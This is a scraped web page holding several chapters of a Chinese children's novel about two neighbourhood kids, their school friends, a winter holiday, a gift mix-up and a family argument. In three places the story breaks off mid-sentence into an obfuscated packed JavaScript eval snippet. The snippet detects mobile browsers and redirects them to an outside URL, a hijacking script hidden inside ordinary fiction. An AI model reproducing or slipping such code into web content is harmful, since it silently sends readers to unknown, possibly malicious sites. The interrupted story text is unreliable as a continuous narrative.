谭淑媛挂了电话收起桌上的一把散钱就准备出门，宋西宝跳下沙发跟上来问：“妈，你要去接程书逸吗？他们家出什么事了？” 谭淑媛把情况大致跟她提了一嘴，准备出门时突然又想起来自家闺女之前干的好事，忙转过身眼神警告她道：“小逸来咱们家住几天，你可不能再像上次那样找人家麻烦了啊！” 宋西宝忙道：“我不会！” “最好是！你要是不听话你爸收拾你的时候我可不管！”谭淑媛说。 宋西宝知道辩解没用，只好蔫头耷耳地说了声“知道了”。 谭淑媛急匆匆到了程家，还没进屋就听见屋里母子俩正在吵架。 她边往里走边连声喊：“咋了咋了？” “淑媛你来啦——”古晓琴上前迎了她两步，笑容堪堪只维持了两秒就转成了疲惫。 谭淑媛又问了一遍：“咋了这是？好好地吵什么呢？” 古晓琴叹口气，语气上火道：“这孩子我好说歹说他怎么都不肯去你们家，非说自己一个人在家能行，他能行什么呀能行！我问他为什么不愿意去他也不肯说，你说我……” “嗐，我还以为你俩吵什么呢……”谭淑媛故作轻松地笑笑，但古晓琴却笑不出来。 家里连着出事，是个人都笑不出来。 现下她还不知道人摔成了什么样？要是不严重还好，要真摔严重了…… 谭淑媛看她脸色阴晴不定，忙把她拉到一边，轻言细语劝道：“我知道你这会儿着急，但是你急也没用啊！问题要一个个解决！咱先把这边儿子的事安排好了，然后再回去看那边具体是个啥情况，有啥问题你自己不知道怎么办，你就跟我们说，咱们一起想办法解决嘛！你光自己在这儿干着急有啥用？你说是不是？” 古晓琴听了她这些话，心里有些感动，也觉得很窝心，胸口里堵着的那团闷气总算是戳破个口，散了一点出去。 她看眼儿子，愁眉苦脸道：“那你说，他不愿意去你们那儿，这咋办？” 谭淑媛拍拍她手，胸有成竹地朝她眨眨眼道：“我来。” 在外人面前，程书逸情绪要收敛很多。 瞧见谭淑媛走过来，他即使气冲冲的，也不忘先叫一声淑媛阿姨。 谭淑媛走到他跟前蹲下，倒没有劝他跟自己走，只是问：“小逸，你不想去阿姨家，那你妈妈走了以后这个家里可就只剩你一个人了啊！你一个人在家不怕黑吗？你饿了怎么办呢？” 程书逸说：“我晚上开着灯睡，饿了我会自己煮鸡蛋面条。” 谭淑媛语气惊讶道：“是吗？你都会自己做饭啦？好厉害呀！” 程书逸表情闷闷地，既没有觉得被人表扬很开心，但也没刚刚那么气冲冲了。 谭淑媛逗小孩似的拉着他东拉西扯，一会儿让他具体讲讲鸡蛋面条该怎么煮？一会儿又问他你除了煮面条还会做什么呀？ 两人和声和气地说着话，程书逸的情绪渐渐平静了下来。 最后，谭淑媛瞧着时机差不多了，终于切入重点问：“那你能告诉阿姨你为什么不想去阿姨家吗？是不是因为我们家西宝她上次欺负了你，你还生她的气？” 程书逸忙说：“不是的阿姨，不是因为西宝，只是我……” 他吞吞吐吐，谭淑媛一脸疑惑：“嗯？你怎么了？” 程书逸说：“只是我不想去别人家里睡觉，我想睡我自己的床。” 原来是为了这个！ 小孩的心思可真难猜…… 谭淑媛起身看了眼古晓琴，两人半是无奈地笑了。 最后三人商量下来，约定好程书逸白天三顿饭去宋家吃，然后晚上睡觉的话就回自己家睡。 本来听说程书逸要来家里住几天，宋西宝还有点紧张，主要是上次道完歉她也不知道程书逸是个什么反应？原谅她没有？要是程书逸还在记恨她，那就尴尬了。 她们家房子虽然是个三居室，但卧室拢共就两间，爸妈一间她一间，还有一间堆着杂物。 宋西宝想着程书逸来了也没睡的地方，于是就打算主动把自己的卧室让出来给程书逸，然后自己 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宋卫国今天穿了一身西装，这西装还是他结婚的时候穿的。 宋西宝捧场地比出大拇指道：“帅气极了老宋！” 宋卫国笑呵呵地揪了下她脸，宋西宝忙大声喊：“痛！” 父女俩收拾好便开始吃早饭，吃着吃着门外响起钥匙转动的声音，是谭淑媛带着程书逸回来了。 门打开，程书逸跟在谭淑媛身后进了屋，宋卫国忙放下筷子起身招呼道：“小逸！快来，坐下吃早饭！” 宋西宝想开口说话，结果包子咬太大口了还没来得及完全咽下去，两边一着急，噎得她直翻白眼，宋卫国瞧见忙使劲给她拍了拍后背。 程书逸乖乖叫了声：“宋叔叔。” 宋卫国连声答应，手还忙着给闺女拍后背。 谭淑媛看他俩觉得好笑，说：“你吃那么急干什么？”又招呼程书逸赶紧去餐桌那儿坐着吃早饭。 程书逸坐下后，宋西宝好不容易缓过劲了，她挑挑拣拣，最后选了一个卖相最好的包子放进程书逸碗里，然后狗腿地朝他咧嘴笑了下。 这里有个细节是，选包子的时候，宋西宝本来是想直接用手抓的，结果爪子伸出去后突然想到什么临时刹车又换成了用筷子夹。 旁边俩大人把餐桌上发生的一切尽收眼底，但只看戏，不说话。 程书逸看看包子，又看看谭淑媛，问：“淑媛阿姨，我想先洗个手可以吗？” 谭淑媛说：“可以啊！来这边来。” 程书逸洗好手后重新回到餐桌边坐下。 谭淑媛忍不住夸道：“小逸你这个饭前洗手的习惯真好！不像我们家宋西宝，泥里捡起来的她都能吃！” 宋西宝：“……” 她又招谁惹谁了？ 程书逸夹起宋西宝挑给他的包子咬了一口，然后又咬下了第二口、第三口……意识到有人在盯着自己后程书逸飞快抬头看了一眼对面，被抓包的一家三口脸上顿时露出了整齐划一的尴尬笑容。 “你吃你吃！”谭淑媛抬抬手。 程书逸吃着吃着心里忽然回过味来了，他想起爸爸教他的社交礼仪，忙把嘴里的包子咽了下去，然后一脸正经地说了一句：“淑媛阿姨，这包子真好吃！您手艺真好！” 对面三人闻言顿时齐松了口气，谭淑媛更是笑得见牙不见眼。 宋西宝则耿直地又往他碗里夹了两个透油大包子。 程书逸：“……” 11. 六人小队 吃完早饭，四人收拾妥当出发前往梧桐一小。 报道第一天学校里到处都是人，大人小人挤作一团，吵闹得不行。 谭淑媛一看到处都在排队，担心耽误程书逸的报名时间，于是跟宋卫国商量过后干脆决定兵分两路，一人负责一个——她负责程书逸，老宋负责小宋。 这是宋卫国第一次给女儿报名，他心里有点兴奋还有点紧张，不过这些情绪他都没表现出来，至少表面上看上去还是很沉稳的。 宋西宝就不一样了。 从进校门起她就开始兴奋了！ 得知自己被分在三年级三班后，她背着新书包犹如脱缰野马一般在教学楼里上上下下来回乱窜，宋卫国都撵不上她。 “爸！这儿！三年级三班在这儿！”一番折腾后，宋西宝率先找到了自己班级的教室，原地跳着挥手叫老爸。 宋卫国答应一声，提着资料袋忙小跑了过去。 宋西宝的新班主任是个中年女老师，姓张，全名张秋华，面相看着属于是“非常有教学经验”的那种。 教室里家长多孩子也多，宋卫国忙着排队，一会儿功夫没注意宋西宝就跑不见了。 他转过来转过去看，最后终于在教室后门看见了自家闺女——就这么会儿功夫她已经跟几个男生在一块儿玩上了，正跟地上趴着在那儿玩拍纸片呢，一点不像个姑娘。 交完所有费用登记完，宋卫国拉上宋西宝去找老婆谭淑媛，中途父女俩又接连碰上了蒋博光和他奶奶，还有季苒和她外婆。 梧桐一小今天上午只报名不上课，正式上课是从下午两点十分开始。 蒋博光和季苒名都报完了，这会儿正准备回去。 季苒得知宋西宝在三班很开心，说：“那你就在我们隔壁班，以后下课可以一起去上厕所了！” 宋西宝也很开心，只有蒋博光不高兴地说：“你们都在一层楼，就我一个人在四楼。” 宋西宝说：“你下课可以来找我们呀！” 蒋博光还是不高兴，他已经听方思彤他们说了，宋西宝跟程书逸和好了，他一点也不想跟程书逸一起玩。 两边大人都急着要走，仨小孩也没太多叙话的时间，最后宋西宝跟俩人约好下午一点半在小区门口等，一起去上学，她还让季苒别忘了通知剩下那俩人。 父女俩告别完邻居来到一班，刚走到教室后门那儿便瞧见谭淑媛拉着程书逸从前门走了出来。 宋西宝率先喊了一声：“妈！” 不远处大的小的一起抬头看了过来。 谭淑媛拉着程书逸急匆匆走过来，问：“你们名都报完了？” 宋卫国点点头，又问她：“你这边呢？报完了没？” 谭淑媛说：“都弄好了。”又低头看了眼程书逸，嘴里啧啧有声同宋卫国说道，“我跟你说，小逸这孩子成绩真是太好了！我刚给他报名，他们教室黑板旁边那墙上还贴着上学期的成绩单呢，人家小逸成绩是全年级第一！语数都是双百分！” 宋卫国瞪眼道：“这么厉害？” 谭淑媛说：“那可不！我去报名那他们那班主任老师态度可好了，一个劲儿地夸这孩子！” 谭淑媛说着，脸色忽然变得严肃起来，转向宋西宝道：“以后你在学习上要多向人家小逸学习、请教，知道吗？” 宋西宝：“……哦。” 谭淑媛训完闺女，又转过去对着程书逸眉开眼笑道：“小逸也要多帮助妹妹哦，她学习上笨得很！” 程书逸看眼宋西宝，后者白眼都快翻上天了。 他没敢笑，点头乖乖地“嗯”了一声。 于是接下来在回家的这段路上，宋西宝净听她妈三百六十五度无死角夸程书逸了。 中午午饭仍是宋大厨掌勺，为了庆祝俩孩子开学，他还专门烧了只鸡。 一只鸡身上就俩腿，两个大人没舍得吃，分给俩小孩一人一个了，宋卫国还调侃说自己也算是体验到有儿有女的生活了。 吃完饭本来该午休了，但宋西宝赖在沙发上啃苹果还非要再看两页漫画。 程书逸打算回家里去午休，宋西宝叫住他，自然而然地说道：“程书逸，下午一起上学啊，一点半在小区门口等，不见不散！” 程书逸听见这话，手拉着门把，转过头看了她一眼，宋西宝嘴里叼着苹果朝他傻笑。 “你听见没啊？”宋西宝看他没反应，又问了一遍。 程书逸点点头，说：“听见了。” 下午一点半，程书逸准时出现在小区门口。 方思彤和周笃文都提前到了，见到程书逸，两人主动跟他打了招呼。 第四个到的是季苒。 瞧见程书逸要跟他们一起去上学季苒还有点惊讶，她有些拘谨地朝程书逸点了点头，程书逸也礼貌地回应了她。 宋西宝和蒋博光是最后到的，两人半路上碰见，宋西宝拉着他说了半天的好话，蒋博光才同意程书逸加入他们，并保证自己绝对不会主动找他麻烦。 蒋博光保证完，宋西宝使劲拍了拍他胸口，说：“够义气！” 蒋博光闷哼一声，差点被她这两下拍出内伤。 就这样，六人小队聚齐了，宋西宝背对着梧桐苑大门振臂一呼，好像去打仗一样喊了声：“出发！” 虽然转学后学校、老师、同学……一切对宋西宝来说都是新的，但她还是很快就适应了这一切，甚至混得风生水起。 三班班主任张老师对她是又爱又恨，爱的是她的性格：积极主动，活泼热情。班里有啥事永远冲在最前面！跟同学们关系也处得非常好！甭管是课间十分钟还是上体育课，大家都乐意跟她一块玩。 但“恨”的就是她有时候实在是太调皮了！ 就比如，梧桐一小旁边挨着一所中学，两个学校挨得最近的两栋楼只有一墙之隔，这面墙虽说高度不是很高，但以前从来没有学生敢违规翻越，偏就她宋西宝胆子大，竟敢拉着几个男生叠人梯翻墙！ 被逮了之后她认错倒是很积极，半小时不到就能给老师交一篇四百字的检讨出来，但隔不了多久，她就又会犯新的错误！ 宋卫国和谭淑媛从一开始的苦口婆心到后面直接麻木了。 谭淑媛这才知道为什么宋定邦会对宋西宝“暴力执法”，因为这孩子真的太匪了！你跟她讲再多道理她都是左耳朵进右耳朵出！简直能把人气死！ 一转眼，学期结束了。 寒假，宋西宝被爸妈送回了老家新阳县看爷爷奶奶，临走前，她特意给梧桐苑的小伙伴们留了爷爷家的座机号码，让大家过年记得给她打电话。 大家都答应了，季苒特别舍不得她，抱着她都不撒手了，方思彤呢感情稍微内敛点，只说了句让她早点回来。 到了年三十这天，一大早家里的座机就响了，宋西宝原本是打算装没听见的——被窝里太暖和了，她可舍不得起来。 但躺着躺着，她忽然想起跟朋友们的电话约定，于是果断掀开被子窜了起来，结果接通后才发现是她妈打来的。 谭淑媛在电话里说他们卖完上午最后一波客就赶回来过除夕，但可能会赶不及吃午饭，让宋西宝告诉爷爷奶奶不要等他们。 宋西宝说了声好，失落地又钻回了被窝里。 整个上午家里座机一共响了三次，第一次是妈妈打来的，第二次和第三次都是家里的远方亲戚打来的，为了给爷爷奶奶拜年。 吃过午饭后，宋西宝揣上她爷给买的炮出门去找村里的小伙伴玩了，她带着一群半大孩子到处玩炮，就一个炸铁盒她都能玩一下午。 傍晚她回到家，奶奶告诉她说下午有人给她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隋玉棠抱着她拍了拍，窸窸窣窣地从屁股底下摸出个大红包一把塞进她怀里道：“那奶奶必须得给我乖孙奖励一个大红包！” 宋西宝拿起红包眼睛瞪得溜圆！ 她下意识想喊，结果看到奶奶给她使眼色又急忙把嘴给闭上了。 宋西宝把红包揣进裤兜里，再一把扑进奶奶怀里撒娇说：“谢谢奶奶~最爱奶奶了~” 隋玉棠乐呵呵地揭穿她道：“等你爷爷给你封了大红包，你就最爱你爷爷咯！” 宋西宝一个劲儿地撒娇说自己才不是那种人，但是等到快十二点，爷爷悄么声地把她叫到厨房里塞给她同样一个大红包时，她确实如奶奶所说，立刻改口跟爷爷撒起了娇，说自己最爱爷爷了！ 一张甜嘴把宋老爷子哄得心花怒放。 电视机里春晚的主持人开始倒计时了，宋西宝冲到电视机跟前跟着主持人倒数，数到三时，一旁的座机忽然响了起来，宋西宝接起电话： “喂？” 电话那头，程书逸拿着爸爸的手机也“喂”了一声。 宋西宝听出是程书逸的声音，高兴地喊了一声：“程书逸！” “诶。”程书逸答应了一声，旁边古晓琴用口型催促他道，拜年。 程书逸于是忙对着听筒说：“新年快乐，西宝。” “谢谢，你也新年快乐！” 宋西宝爽朗的笑声透过听筒传来，程书逸发现自己好像不用面对面都能想象她是怎样在笑着，于是自己便也忍不住笑了。 12. 酥糖钱包 整个寒假宋西宝都待在爷爷奶奶家，中间她因为太想念梧桐苑的朋友们还给爸妈打过电话说自己想回云市，但爸妈当时没同意。 现在好了，寒假结束了，她终于可以回去了，但她又开始觉得舍不得爷爷奶奶了。 但是再舍不得也得走了！ 因为距离开学就剩两天时间了！ 她再不回去抄作业就没时间抄了！！ 宋西宝她们班的寒假作业实行的是分级制：100分到90分的学生寒假作业很少，只需要完成两本《寒假生活》即可。 而89分到70分的学生，则需要在完成《寒假生活》的基础上再加一堆作业，再往下还有两个等级：69分到60分，以及及格线以下。 总的来说就一句话：分数越低，作业越多。 宋西宝期末考得不高不低，正好处在89——70这个区间内，她瞒着爸妈和爷爷奶奶，假期只完成了部分比较简单的作业，像《寒假生活》她空了几乎大半，就等着回来了抄季苒她们的。 宋西宝回到梧桐苑后第一件事就是电联各位小伙伴，紧急求助，考虑到其余人家里都有大人在，行动多少有些不便，于是他们商定好在周笃文家里碰头。 毕竟，周笃文爸妈一个忙着开公司赚钱，一个忙着上牌桌赚钱，家里成天到晚就周笃文一个人，实在是再合适不过的组织根据地了！ 六个人里只有程书逸没有到场。 这家伙说是寒假跟着他那个搞地质学的老爸出门远足探险了，要开学前一天才回得来，可把一众伙伴给羡慕坏了！ 余下五人很快在周笃文家里聚齐了。 大家围坐在一起，方思彤掏出了《寒假生活·数学册》，季苒则拿出了《寒假生活·语文册》，周笃文、蒋博光、宋西宝三人对着两位女菩萨是千恩万谢。 季苒哭笑不得，忧心地催促几人道：“你们快抄吧！后天就开学了，你们怎么还剩这么多作业没完成啊？” 方思彤倒是淡定得多，还安慰季苒道：“没事，还有时间，来得及。” 开始抄作业前，宋西宝先从书包里掏了两盒酥糖出来。 这趟回老家，她特意托奶奶多做了两盒老家特产的酥糖，就想着带回来给朋友们尝一尝。 宋西宝开玩笑地说：“专门带回来‘孝敬’各位的，请吧！” 听她这么说，大家都不客气地上手拿起一块尝了尝，蒋博光第一个发表感言道：“好好吃！” 季苒也跟着说：“真的好好吃！这是什么糖啊？吃着好香！” 宋西宝骄傲道：“这叫酥糖，是我们老家的特产。我奶奶做这个糖是最厉害的！外人有钱都吃不着，你们喜欢吃就多吃点吧，下次回老家我再给你们带！” 两盒酥糖很快就被他们瓜分干净了，等发现两个盒子都空了后，宋西宝忽然惨叫一声，说：“完了，我忘了给程书逸留一盒了！” 蒋博光舔着手指头，毫不在意道：“你别告诉他不就得了！” 宋西宝小脸一垮：“可是我已经告诉他了……” 事情是这样的，几天前程书逸打电话给她问她什么时候回梧桐苑，还说自己给她带了新年礼物。 当时宋西宝想也没想，顺嘴就说自己也给他带了礼物的，是她奶奶亲手做的酥糖。 程书逸不知道什么是酥糖，当时在电话里就表现得格外期待，两人还约好开学前一天碰面交换礼物。 程书逸的脾气有多龟毛在场几人差不多都见识过，大家听完来龙去脉，顿时齐齐用同情的目光看了宋西宝一眼。 宋西宝自己也很同情自己，她不禁哀叹道：“我真是欠他的……” 第二天下午，程书逸回来了。 宋西宝接到他电话的时候已经把酥糖这事忘得一干二净了，等到了程家，看见程书逸从书包里拿出包装好的礼物时，她才悚然一惊记起酥糖的事，不夸张的说，她当时背上冷汗都下来了。 “喏，礼物。”程书逸把礼盒递给她，然后又左右看了看她背后，问，“你没把礼物带过来吗？” 宋西宝结结巴巴说不出个所以然，程书逸盯着她躲闪的表情看，心里逐渐升起不敢置信的怀疑—— “你骗我？你根本就没给我准备礼物是不是？” 宋西宝有点受不住他那个眼神，但也决计不肯承认自己骗他。 她解释说：“我没骗你，我真带了两盒酥糖回来，只不过……” “只不过什么？”程书逸追问。 宋西宝偷喵他一眼，说：“只不过都被他们吃光了。” 程书逸听完这解释顿时更生气了。 “你一块都没给我留？”他质问。 宋西宝缩缩脖子，说：“我下次再给你带嘛！我下次让奶奶多做点，多给你带几盒，行不？” “不行。” 他一句斩钉截铁的“不行”直接把宋西宝给整懵了。 宋西宝问：“那你想咋办？要不我把礼物还给你，我不要了，行吗？” 宋西宝说完这句话后诡异地发现程书逸的脸色更难看了，好像已经来到了爆炸的边缘。 她小小的脑袋瓜里顿时充满了费解——这事儿精怎么这么爱生气还不好哄啊？ 程书逸看起来好像快气晕了，他深呼吸一口气，忍着脾气问：“所以你不想要我送给你的礼物是吗？” 宋西宝听他这么说，简直无辜极了。 她说：“我没有不想要啊！不是你这也不行那也不行嘛，我就想说那就不白拿你的礼物了呗……” 程书逸盯着她看了会儿，确认她不是说假话后便说：“那你换个别的给我。” 宋西宝：“啥？” 程书逸在心里翻了个白眼，他说：“你另外给我个东西作为礼物就行，我就不生气了。” 宋西宝：“……” 这么突然，她上哪儿去给他找礼物啊？ 宋西宝本来不想搭理他，但是一瞧见他眉心靠右处那块小伤疤心就软了。 她跟程书逸认识在一起玩也有半年了，经过这半年的相处，她觉得程书逸这人吧，有时候就是嘴欠，实际对她还是挺好的，平时他有什么好吃的好玩的都会想着她，也多次替她在爸妈那里求过情、背过黑锅……宋西宝想到这些，心里的烦躁消了大半。 她琢磨了半天，忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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同样的木盒，同样的木雕，不过不同的是，这次的木雕对象是一只异常潦草的猴子。 之所以说潦草是因为雕这猴子的人明显下刀气力不够，许多地方深一刀浅一刀，坑坑洼洼，只是勉强从造型上来说能看出来这是个猴子罢了。 宋西宝问：“这你自己雕的？” 程书逸有点腼腆地“嗯”了一声。 宋西宝恍然大悟，又问：“那上次我过生日你送我那鸟，那是谁雕的？你爸？” 程书逸又“嗯”了一声，然后有点紧张地问她：“你喜欢这个猴子吗？” 宋西宝拿着那只丑猴子翻来覆去地看，笑着点头道：“喜欢呀，挺丑的，哈哈！” 程书逸吞吞吐吐半天，最后决定还是告诉她实话：“其实这只猴子我是照着你的样子雕的。” 宋西宝：“……………………” “程书逸！你得寸进尺是吧？信不信我真揍你！” “打人是犯法的！” “你骂人就不犯法啊！你还拐着弯骂我！” “我不是骂你，我实话实说……” “你又骂我了！你完了！你今天绝对完了！” …… 13. 家庭纷争 新学期开学后，云市政府号召全市积极开展“创文”工作，梧桐一小积极响应，跟着推出了系列创文活动。 比如：校园创文主题手抄报比赛、小学生创文实践之走出校园、以及我爱我校等活动。 宋西宝所在的三年级被分到了“走出校园”这个版块，具体的活动内容是由老师组织学生们带上清洁工具走出校园，在指定分配的街道上展开清洁工作。 包括但不限于：清扫街道、集中处理街道垃圾以及清理街边小广告等。 时间就定在每天下午三点半到五点，下周一开始执行，为期一周。 学生们对什么所谓“创文”没啥概念，他们只知道可以堂而皇之地出校去玩不上课了，大家都很兴奋，宋西宝尤其。 因为各个班级的清洁工具有限，为了高效工作，学校便提出让学生们到时候从自己家里带工具。 宋西宝回家把这事跟爸妈一说，没想到谭淑媛表现得很是不满，她抱怨道：“你们这学校搞什么？让学生不上课去扫大街，真想得出来！耽误了学习算谁的？” 沙发上，父女俩对视一眼，谁都不敢多说一句什么。 宋卫国把手上苹果削好，又贴心地切成等份，装在小盘里递给老婆道：“吃点苹果老婆。学校这么安排，肯定也有人家的道理嘛。现在的孩子不像我们那会儿，家里大小事什么都要做，要我说，学校安排他们出去实践实践也挺好的！不能光有脑力劳动，没有体力劳动啊！” 谭淑媛蔫蔫地叉起一块苹果咬了一口，叹气道：“咱家这个‘体力劳动’得还少吗？你知道开学那天我一去人家张老师就说什么？人家说了！这学期她要还像上学期那么调皮，人家张老师就不收她当学生了！要么转班，要么留级，哎哟我这个心呐……” 谭淑媛说着说着，苹果也吃不下去了，捂着心口连连叹气。 一旁的宋西宝手里拿着刚啃一半的苹果坐也不是站也不是，总感觉下一秒火就要烧自己身上来了，只恨不能就地隐遁。 宋卫国一边安慰老婆，一边手背到身后给闺女打手势：快走，回房间去。 宋西宝收到指示，苹果一叼，漫画书一卷，踮着脚尖就准备开溜，结果刚溜到一半就被老妈给发现了。 谭淑媛叫她：“宋西宝。” 被叫了大名的宋西宝悚然一惊，站定回身后战战兢兢地答应了一声：“诶……” 谭淑媛一副懒得多说的表情，直接对她下了命令道：“这学期你只要再被叫一回家长，你就不要在一小读书了，妈把你转回先锋去，我觉得你在乡下还要老实点。” 情势急转！ 宋西宝一脸委屈地喊了声妈。 谭淑媛看都不愿看她，脸上仍是余怒未消。 宋卫国使眼色让她先回房间去，先不要说了。 但宋西宝这会儿气性也上来了，完全不顾她爹的示意，气冲冲道：“我知道你就是嫌弃我，觉得我给你丢人了！回去就回去！反正我也不稀罕待在这儿！更不稀罕你们回来！” 她说完这话冲回房间“砰”地一声关上了门，因为不小心劲使太大了，关门声大得把她自己都给吓了一跳。 她赶紧把耳朵贴在门上听，没听见她妈追过来，心里这才松了一口气。 但紧跟着就开始后悔——她不想回去读书啊！这怎么就话赶话说这么绝了呢？ 这晚，宋西宝在床上辗转反侧忧心了一晚上没睡好，第二天一早直接顶着两个熊猫眼出了卧室。 客厅里，宋卫国刚把热腾腾的稀饭端上桌，瞧见她出来还有点惊讶：“你今天怎么起这么早？那闹钟都还没响呢！” 宋西宝揉着眼睛坐到餐桌前，四周看了一圈，没看见她妈，又见她爸穿着围裙——以往早饭都是妈妈做，爸爸要早起去进货，怎么今天做早饭的换人了？ 她稍微清醒了些，起身来到厨房门口问：“爸，我妈呢？” 宋卫国说：“你妈昨晚没睡好，今天天没亮就起来进货去了。” 宋西宝哦了声，感觉心里闷闷的。 吃早饭的时候，宋卫国察觉到她情绪比较低落，故意问她：“怎么了闺女，你昨晚也没睡好啊？” 宋西宝蔫哒哒地点点头，忽然放下手里的勺子问她爸：“我妈昨晚为啥没睡好？是因为生我的气吗？” 宋卫国斜睨她一眼，说：“你说呢？” 宋西宝一脸烦躁，背往椅子上一靠，饭也不想吃了。 宋卫国说：“你自己回想一下你昨晚怎么跟你妈妈说话的？” 宋西宝咬着嘴皮皱眉不说话。 宋卫国学着她的语气和表情，故意怪声怪气地把话又重复了一遍，宋西宝又羞又臊地打断他：“爸！”。 “好好！爸不说了！”宋卫国笑笑，语重心长道，“宝宝，你以后不能再那样跟妈妈说话了知道吗？你妈妈她生气不是因为嫌你丢人，她是害怕、是担心，她怕你真的被张老师劝退以后没书读了，知道吗？” 宋西宝抠着手还是不说话。 宋卫国想想又说：“你昨晚说你不稀罕你妈回来，你知道你妈听见这话多伤心吗，她昨晚上哭了半宿！” “啊？”宋西宝一听老妈哭了，着急道，“可是我说的是假的，不是真的呀！我没有不稀罕她回来！” “那你跟妈妈说去呀，反正我早上看她她可伤心了。”宋卫国一脸煞有介事地说道。 吃完早饭，父女俩出门一个往学校走，一个去店上。 宋家的卤肉铺开张了半年，如今生意已经逐渐步入正轨了。 宋卫国和谭淑媛没舍得花钱请外人帮忙，整家店里里外外就靠他们夫妻两个人干。 中午放学，宋西宝跟小伙伴们一起出了学校，然后走到大十字路口那儿就分开了——爸妈整天都在店里忙，没时间专门回家给她做饭，她每天中午晚上两顿饭都是去店里吃。 宋西宝到店上那会儿店里生意正忙，里间宋卫国忙着切肉拌菜，谭淑媛则负责称重打包、迎客送客。 她从人堆里挤过去，打开工作间的门，放下书包就开始帮爸妈干活。 大人们瞧见她这么一个小姑娘在里面跟着忙，都觉得有意思，有人跟谭淑媛搭话问：“老板娘，这你家姑娘啊？” 谭淑媛抽空飞快地看了宋西宝一眼，笑着答应了一声：“欸，我女儿。” 那人忙称赞道：“真懂事这孩子！真乖！还知道给你们帮忙呢！” 谭淑媛不好意思地笑，旁边宋西宝自然也听见了两人的对话，她有意表现想让她妈消气，说话做事越发勤快乖巧起来。 一位大爷挑好了，递来装满肉的盒子，宋西宝抢着接过，放到秤盘上按了几下，乖乖报价道：“爷爷，一共三十二块八毛！” 大爷逗她，问：“你小娃娃会用称吗？给爷爷算对了没有哦？” 宋西宝一本正经道：“我会用！称出来就是三十二块八毛，我没弄错。” 周围大人都笑。 谭淑媛称完自己手上的，忙赶过来说要重新给大爷再称一遍，大爷连连摆手道：“不用不用，我逗娃娃呢！” 谭淑媛笑，跟着给周围人解释说：“我家孩子知道这些肉菜的价格，我们也教过她用称，放心，她不会给大家算错的！” 宋西宝抬头看了眼妈妈，再看向外面那些大人，小表情可骄傲了。 忙过高峰期后，宋卫国赶紧腾出手来去后门外的小灶上炒了几个菜，然后招呼里面娘俩吃饭。 一家三口坐下来吃饭，最开始谁都不说话，老宋悄悄给小宋递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907236|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色，小宋接收到后，十分拘谨地夹了块肉放进她妈谭女士的碗里。 谭淑媛抬眼看了她一眼，又看了看老宋，虽然没说话，但闺女夹过来的肉她还是吃了。 一场家庭纷争，就此消弭于无形。 下午上学前，谭淑媛又叫住宋西宝，专门给她拿了五十块钱。 宋西宝：“！！！” 谭淑媛：“别乐。这钱可不是给你随便花的，再过两周就是小逸生日了，你拿着这钱好好给人家挑个生日礼物，多退少补，听见了没？” 宋西宝乖乖点头，又抬脸偷着瞧了她妈一眼，结果被谭淑媛给逮到了：“你贼眉鼠眼的看什么呢？” 宋西宝撇撇嘴不敢接话，同时心里又很疑惑——老宋同志不是说昨天晚上谭女士跟被窝里哭了半宿吗？怎么谭女士这眼睛看起来既不红也不肿啊？ “好了好了快点上学去！”谭淑媛一个劲儿地催着打发她走。 宋西宝又看了眼她爸，嘴里嘟嘟囔囔地离开了。 第二天，学校的分配名单出来了，宋西宝她们班分到了“琴台街道”，就梧桐一小后门出去那条街。 班上闹哄哄地，感觉像是要去春游了一样。 张老师又把全班学生细分了成了三组：一组扫地，二组收垃圾，三组负责搬运垃圾。 宋西宝本来心心念念想扫地，结果最后运气不好，抽签被分去了三组搬垃圾。 “走出校园”的第一天，学生们个个兴致昂扬，那扫把挥得比人都高。 “走出校园”两天后，新鲜劲过去了，大家开始觉得有点没意思了，一个个蔫头耷耳的，扫把也抡不动了。 要么说“实践出真知”呢！ 本来这体力劳动就并不比上课轻松多少，一个半小时的时间要打扫完一整条街道，还要清理垃圾、路边小广告……他们几乎得抢着时间干活才能干完。 这天下午，宋西宝正跟同桌何意两个搬运垃圾呢，突然斜里冒出来一个头发花白的老太太跟她俩打招呼，何意被吓得尖叫一声，宋西宝也吃了一惊。 老太太年纪瞧着很大了，身子佝偻着直不起来，后背好像小山一样耸起一坨。 她笑得卑微而讨好，干瘦发黑的手指着两个小姑娘脚下的垃圾袋问：“娃娃，你们这个垃圾，能给我吗？” 何意下意识往后退了一步，眼神茫然而无措地看向宋西宝。 宋西宝倒是没往后退，她问老太太：“奶奶，你要垃圾做什么呀？” 老太太侧身指了指身后的小巷，说：“我捡点废品卖。” 宋西宝顺着她手指的方向看过去，果然看见巷口停着一辆破破烂烂的旧三轮车，车兜里放了不少废品，垒得老高的废品旁还坐着个小娃娃，正抱着手啃看她们。 何意拽了拽宋西宝衣服袖子，凑近小声说：“西宝，咱们把垃圾给她吧，她看着好可怜啊……” 宋西宝点点头，俯身打开垃圾袋把里面的矿泉水瓶、牛奶纸盒什么的都捡了出来。 老太太忙伸手去接，边说着：“我来我来，等会儿把你们衣服弄脏了，你们这么干净的衣服。” 宋西宝又说：“奶奶，你等下我们，那边还有垃圾，我去拿过来给你！” 她说完拔腿就跑，愣神的何意忙回神赶上。 很快她们又拖来好几大袋的垃圾，宋西宝撸起袖子在里面挑可以卖的废品拿出来给老人家，旁边何意看见后也跟着上手一起帮忙挑选。 